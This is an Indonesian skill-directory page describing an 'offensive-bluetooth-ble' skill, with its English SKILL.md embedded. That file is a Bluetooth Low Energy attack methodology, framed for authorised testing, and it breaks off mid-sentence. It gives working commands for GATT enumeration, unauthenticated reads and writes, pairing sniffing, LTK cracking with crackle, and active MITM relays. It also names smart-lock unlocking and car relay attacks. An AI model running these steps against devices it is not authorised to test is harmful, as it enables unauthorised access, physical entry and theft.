Langsung ke konten
Skillpedia
Keamanan10k ยท #11980

offensive-bluetooth-ble

Fungsinya

Skill ini adalah metodologi untuk menguji perangkat Bluetooth Low Energy. Skill mencakup enumerasi layanan, karakteristik tanpa autentikasi, kelemahan pairing, dan analisis aplikasi pendamping. Skill ditujukan bagi profesional keamanan yang menguji perangkat milik sendiri atau perangkat yang sah.

Kapan dipakai

  • โœ“Saat Anda menguji perangkat BLE untuk akses baca atau tulis tanpa autentikasi dalam tes yang sah.
  • โœ“Ketika Anda ingin memeriksa apakah metode pairing perangkat rentan terhadap serangan man in the middle.
  • โœ“Ketika Anda perlu memetakan layanan dan karakteristik GATT perangkat untuk tinjauan keamanan.

Link skill

https://github.com/SnailSploit/Claude-Red/blob/main/Skills/wireless/offensive-bluetooth-ble/SKILL.md

Salin lalu tempelkan ke AI Anda (Claude, ChatGPT, atau Cursor) dan minta AI mengikuti instruksinya.

Cara pakai

Cara paling mudah: salin pesan ini dan tempelkan ke AI Anda. AI akan membaca skill dan mengikuti instruksinya.

Pesan siap tempel

Gunakan skill ini untuk membantu saya: https://github.com/SnailSploit/Claude-Red/blob/main/Skills/wireless/offensive-bluetooth-ble/SKILL.md Baca file SKILL.md di link tersebut dan ikuti instruksinya untuk tugas saya.
Mau AI Anda menemukan skill seperti ini sendiri?Pasang MCP Skillpedia gratis: cukup satu baris, dan AI mencari di antara 15.000+ skill sebelum tiap tugas.Pasang dalam 1 menit โ†’

Contoh permintaan ke AI

โ€œKami punya izin untuk menguji kunci BLE ini. Petakan layanan GATT-nya dan periksa apakah ada karakteristik yang tidak memerlukan autentikasi.โ€

5 skill baru setiap minggu. 1 menit baca.

Cara kerjanya

Skill menemukan perangkat dan mendaftar pohon GATT-nya, lalu menguji setiap karakteristik untuk akses baca, tulis, dan notify. Ia memeriksa metode pairing dan meninjau aplikasi pendamping untuk format perintah.

Konten teknis (SKILL.md asli)

Teks asli dari pembuat, dalam bahasa Inggris, langsung dari GitHub.

Bluetooth Low Energy (BLE) Attacks

BLE devices communicate via GATT โ€” a hierarchy of services, characteristics, and descriptors. Many devices treat the BLE link itself as the trust boundary, exposing privileged operations on characteristics readable/writable from any nearby device.

Quick Workflow

  1. Discover and enumerate the device's GATT tree
  2. Test every characteristic for read/write/notify without authentication
  3. Inspect pairing method โ€” Just Works = no MITM protection
  4. If Just Works, MITM the pairing to capture / inject
  5. Reverse the companion app for proprietary command formats

Discovery + GATT Enumeration

# bettercap (interactive)
sudo bettercap -eval "ble.recon on; events.show 60; ble.show"

# Or, attach to a known-MAC device
sudo bettercap -eval "ble.recon on; ble.enum AA:BB:CC:DD:EE:FF"

# bluetoothctl
bluetoothctl
> scan on
> connect AA:BB:CC:DD:EE:FF
> menu gatt
> list-attributes

# gatttool (deprecated but still works)
gatttool -b AA:BB:CC:DD:EE:FF -I
> connect
> primary           # list services
> char-desc         # list characteristics
> char-read-uuid <uuid>
> char-write-req <handle> <hex>

GATT services use 16-bit UUIDs for SIG-defined services (battery, heart rate) and 128-bit UUIDs for vendor-defined ones. Custom 128-bit UUIDs are where vendor-specific commands live โ€” that's your attack surface.

Characteristic Auth-Free Read/Write

Test every characteristic flagged read/write/notify:

# Read all readable characteristics
for h in $(gatttool -b <MAC> --primary | awk '{print $5}'); do
  echo "=== Handle $h ==="
  gatttool -b <MAC> --char-read --handle=$h
done

# Write to writable characteristics with crafted values
gatttool -b <MAC> --char-write-req --handle=0x0010 --value=0x01

Common findings on consumer BLE devices:

  • Door locks: unlock characteristic accepts any write (no auth)
  • Smart bulbs: brightness/color writeable from any peer
  • Wearables: PIN/lock-state readable
  • BLE beacons: configurable from any peer (rebrand attacks)

Pairing Method Identification

# Bluetoothctl shows pairing method on initial pair attempt
bluetoothctl
> pair AA:BB:CC:DD:EE:FF
# Watch for: "Confirm passkey", "Display passkey", or no prompt = Just Works
Method Security Attack
Just Works None โ€” authenticates anything Trivial MITM during pairing
Numeric Comparison User confirms 6-digit code UI manipulation only; crypto strong
Passkey Entry 6-digit code entered or displayed Brute attack on passkey crackable in some pairing variants
Out of Band (OOB) NFC / QR exchange Out of scope for BLE attacker

LE Legacy Pairing uses TK derivation that's crackable from a captured pairing exchange. LE Secure Connections (Bluetooth 4.2+) uses ECDH and is strong if Just Works isn't forced.

Sniffing the Pairing Exchange

# TI CC1352-based: Sniffle (modern, multi-channel)
sudo Sniffle -c 37,38,39 -o pairing.pcap

# Ubertooth (older but well-supported)
ubertooth-btle -f -c pairing.pcap

# Then in Wireshark, decode with crackle
crackle -i pairing.pcap -o decrypted.pcap
# Crackle handles LE Legacy Pairing TK guessing for short-passkey/JustWorks

For LE Legacy Pairing with Just Works, crackle recovers the LTK in seconds. For LE Secure Connections, crackle returns "encrypted with strong key, no recovery."

Active MITM During Pairing

# btproxy / mirage-action-with-mitm โ€” relay between device and victim's phone
mirage-action-with-mitm
# Or:
git clone https://github.com/Charmve/btproxy
sudo python btproxy.py

If pairing is Just Works, you become the legitimate peer for both sides โ€” read/modify GATT operations in real time.

Companion App Reverse Engineering

For vendor-defined characteristics, the format is in the app:

# Pull APK
adb pull /data/app/com.vendor.app/base.apk

# Decompile
jadx -d app_src base.apk

# Find BLE writes
grep -r "writeCharacteristic\|GATT_CHARACTERISTIC" app_src/

# Look at the bytes the app writes vs. observed in-air values

Hand off to offensive-mobile for deeper companion analysis.

Specific Device Classes

Smart Locks

  • Test unlock characteristic for unauth write
  • Test if rolling token is replayable (capture-and-replay within window)
  • Check for hardcoded LTK in firmware (chip-off + binary analysis โ€” see offensive-iot)

Cars (BLE Phone-as-Key)

  • Relay attacks (extending range with two SDR-equipped relays, see Tesla research
Pertanyaan umum

Apa itu GATT?

Itu adalah struktur layanan dan karakteristik yang diekspos oleh perangkat BLE.

Alat apa yang disebut?

Ia menyebut bettercap, bluetoothctl, gatttool, serta sniffer seperti Sniffle dan Ubertooth.

Apakah ini hanya untuk tes yang sah?

Ya. Ia ditulis untuk perangkat yang Anda punya izin untuk diuji.

Detail

Deskripsi asli dari pembuat

Bluetooth Low Energy (BLE) attack methodology โ€” GATT enumeration, characteristic read/write without auth, pairing downgrade (Just Works forced), LE Secure Connections bypass, MITM via active relay, sniffing with Sniffle (TI CC1352) / Ubertooth / Frontline, encryption key extraction (LE Legacy Pairing crackable, LE Secure Connections strong), proximity authentication abuse (cars, locks), and companion-app trust analysis. Use for IoT BLE devices, smart locks, fitness trackers, medical devices, BLE beacons, or any device pairing over BLE.

repo: SnailSploit/Claude-Red

Popularitas

Bintang GitHub
10k
Peringkat
#11980
Lisensi
MIT
Diperbarui
12/10/2026

Apakah skill ini berguna?

0

Masuk untuk memberi suara.

Komentar

  • โ€ฆ

Skill lain dari repositori ini

Skill serupa